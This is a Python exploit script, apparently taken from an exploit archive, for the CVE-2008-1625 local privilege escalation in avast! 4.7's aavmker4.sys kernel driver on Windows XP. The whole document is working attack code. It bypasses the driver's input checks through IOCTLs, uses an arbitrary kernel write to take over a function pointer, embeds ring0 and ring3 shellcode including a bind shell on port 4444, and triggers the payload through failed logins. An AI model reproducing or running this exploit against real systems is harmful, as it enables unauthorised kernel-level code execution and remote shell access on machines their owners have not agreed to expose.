Avast! 4.7 – ‘aavmker4.sys’ Local Privilege Escalation
#!/usr/bin/python # avast! 4.7 aavmker4.sys privilege escalation # http://www.trapkit.de/advisories/TKADV2008-002.txt # CVE-2008-1625 # Tested on WindXpSp2/Sp3 Dep ON # Matteo Memelli ryujin __A-T__ offensive-security.com # www.offensive-security.com # Spaghetti & Pwnsauce - 17/04/2010 # Tested on WinXPSP2/SP3 english | avast! 4.7.1098.0 from ctypes import * import time, struct, sys, thread, os kernel32 = windll.kernel32 Psapi = windll.Psapi def findSysBase(drv): print "(+) Retrieving %s base address..." % drv ARRAY_SIZE = 1024 myarray = c_ulong * ARRAY_SIZE lpImageBase = myarray() cb = c_int(1024) lpcbNeeded = c_long() drivername_size = c_long() drivername_size.value = 48 Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) for baseaddy in lpImageBase: drivername = c_char_p("\x00"*drivername_size.value) if baseaddy: Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, drivername_size.value) if drivername.value.lower() == drv: print "(+) Address retrieved: %s" % hex(baseaddy) return baseaddy return None def checkShell(): check = "netstat -an | find \"4444\"" res = os.popen(check) ret = res.read() res.close() if ret.find("0.0.0.0:4444") != -1: return True else: return False def kickLsass(): time.sleep(10) lsas1 = "echo hola | runas /user:administrator cmd.exe > NUL" lsas2 = "net use \\\\127.0.0.1 /user:administrator test > NUL" nc = "nc 127.0.0.1 4444" print "(!) NO BSOD? good sign :)" print "(*) Sleeping 60 secs before the Woshi finger hold..." time.sleep(60) # Trying to kick ls-ass, any auth good or failed should help # if this doesn't work for you try to rdp to the vuln box or # logout/login from console... it's rough but should work ;) print "(+) Trying to fail an auth to trigger syscall..." os.system(lsas1) time.sleep(1) os.system(lsas2) while 1: res = checkShell() if res: print "($) Shell is ready 0.0.0.0:4444" #os.system(nc) #print "(-) netcat not in path but shell is open!" break print "(*) Retrying. Sleeping 30 secs..." time.sleep(30) print "(+) Trying to fail an auth to trigger syscall..." os.system(lsas1) time.sleep(1) os.system(lsas2) def pwnDrv(driver_handle2, IOCTL_EIP, stor_input, stor_size, stor_output, out_size, dwReturn1): # We trigger func pointer to control EIP time.sleep(5) print "(+) Owning EIP..." for i in range(1,3): print "(+) Triggering function pointer: %d/2" % i dev_ioctl = kernel32.DeviceIoControl(driver_handle2, IOCTL_EIP, stor_input, stor_size, stor_output, out_size, byref(dwReturn1), None) time.sleep(0.5) if __name__ == '__main__': print "(*) avast! 4.7 aavmker4.sys privilege escalation" print "(+) coded by Matteo Memelli aka ryujin -> at <- offsec.com" print "(+) www.offsec.com || Spaghetti & Pwnsauce" print "(+) tested on WinXPSP2/SP3 DEP On 17/04/2010" GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 CREATE_ALWAYS = 0x2 IOCTL_STOR = 0xb2d6001c # stores stuff to bypass checks in .data IOCTL_VULN = 0xb2d60030 # writes to arbitrary memory IOCTL_EIP = 0xb2d60020 # triggers function pointer to own EIP # DosDevices\AAVMKER4 Device\AavmKer4 DEVICE_NAME = "\\\\.\\AavmKer4" dwReturn1 = c_ulong() dwReturn2 = c_ulong() evil_size = 0x878 out_size = 0x1024 stor_size = 0x418 evil_output = "" stor_output = "" driver_name = 'aavmker4.sys' # evil_input = 0x878 # Payload = 496 bytes # ring0_migrate = 45 bytes || # \xf0\x01 bytes to copy ring0_migrate = ( "\xfc\xfa\xeb\x24\x5e\x68\x76\x01\x00\x00\x59\x0f\x32\x89\x86\x69" "\x00\x00\x00\x8b\xbe\x6d\x00\x00\x00\x89\xf8\x0f\x30\xb9\xf0\x01" "\x00\x00\xf3\xa4\xfb\xf4\xeb\xfd\xe8\xd7\xff\xff\xff" ) # ring0_msr = 117 bytes ring0_msr = ( "\x6a\x00\x9c\x60\xe8\x00\x00\x00\x00\x58\x8b\x98\x60\x00\x00\x00" "\x89\x5c\x24\x24\x81\xf9\xde\xc0\xad\xde\x75\x10\x68\x76\x01\x00" "\x00\x59\x89\xd8\x31\xd2\x0f\x30\x31\xc0\xeb\x3a\x8b\x32\x0f\xb6" "\x1e\x66\x81\xfb\xc3\x00\x75\x2e\x8b\x98\x68\x00\x00\x00\x8d\x9b" "\x75\x00\x00\x00\x89\x1a\xb8\x01\x00\x00\x80\x0f\xa2\x81\xe2\x00" "\x00\x10\x00\x74\x11\xba\x00\xff\x3f\xc0\x81\xc2\x04\x00\x00\x00" "\x81\x22\xff\xff\xff\x7f\x61\x9d\xc3\xff\xff\xff\xff\x00\x04\xdf" "\xff\x00\x04\xfe\x7f" ) # ring3_stager = 61 bytes ring3_stager = ( "\x60\x6a\x30\x58\x99\x64\x8b\x18\x39\x53\x0c\x74\x2e\x8b\x43\x10" "\x8b\x40\x3c\x83\xc0\x28\x8b\x08\x03\x48\x03\x81\xf9\x6c\x61\x73" "\x73\x75\x18\xe8\x0a\x00\x00\x00\xe8\x10\x00\x00\x00\xe9\x09\x00" "\x00\x00\xb9\xde\xc0\xad\xde\x89\xe2\x0f\x34\x61\xc3" ) # msf payload: bindshell port 4444 318 bytes ring3_shellcode = ( "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0" "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" "\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0\xc3" ) sysbase = findSysBase(driver_name) if not sysbase: print "(-) Couldn't retrieve driver base address, exiting..." sys.exit() driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, CREATE_ALWAYS, 0, None) driver_handle2 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, CREATE_ALWAYS, 0, None) # .data memory area we write to; offset from base = 0x2e04 read_data_from= struct.pack('L', sysbase+0x2e04) # calculate addy in .data # r0_address = noplsed address, jump 0xfa bytes ahead to avoid a corrupted nop r0_address = struct.pack('L', sysbase+0x23fa) evil_input = r0_address*2 + "\x90"*0x102 evil_input += ring0_migrate + ring0_msr + ring3_stager + ring3_shellcode evil_input += "\x41"*0x549 evil_input += read_data_from + "\x42\x42\x42\x42" # bypass input checks stor_input = "\x43\x43\x43\x43" # padding stor_input += "\x07\xAD\xDE\xD0" # cmp dword ptr [eax], 0D0DEAD07h stor_input += "\xBA\xD0\xBA\x10" # cmp dword ptr [eax+4], 10BAD0BAh stor_input += "\x44\x44\x44\x44"*2 # After arbitrary write to memory nt!KeSetEvent is called: we need to fix # nt!KeSetEvent+0x32 using any addy pointing to value different to 0x01 # so we can use our "read_data_from" again. stor_input += read_data_from stor_input += "\x44\x44\x44\x44" # 0x2300 offset from base: we write here to control a function pointer # and own EIP stor_input += struct.pack('L', sysbase+0x2300) + "\x45"*414 # trigger these later on... thread.start_new(pwnDrv, (driver_handle2, IOCTL_EIP, stor_input, stor_size, stor_output, out_size, dwReturn1)) thread.start_new(kickLsass, ()) ########################################################################### # And now let's own the boy: if driver_handle1: # We store values to overcome input checks print "(+) Storing our precious in kernel space ;) ..." dev_ioctl = kernel32.DeviceIoControl(driver_handle1, IOCTL_STOR, stor_input, stor_size, stor_output, out_size, byref(dwReturn1), None) # We trigger arbitrary write print "(*) Sending evil IOCTL..." print "(+) Pwnage in progress...." dev_ioctl = kernel32.DeviceIoControl(driver_handle1, IOCTL_VULN, evil_input, evil_size, evil_output, evil_size, byref(dwReturn2), None) |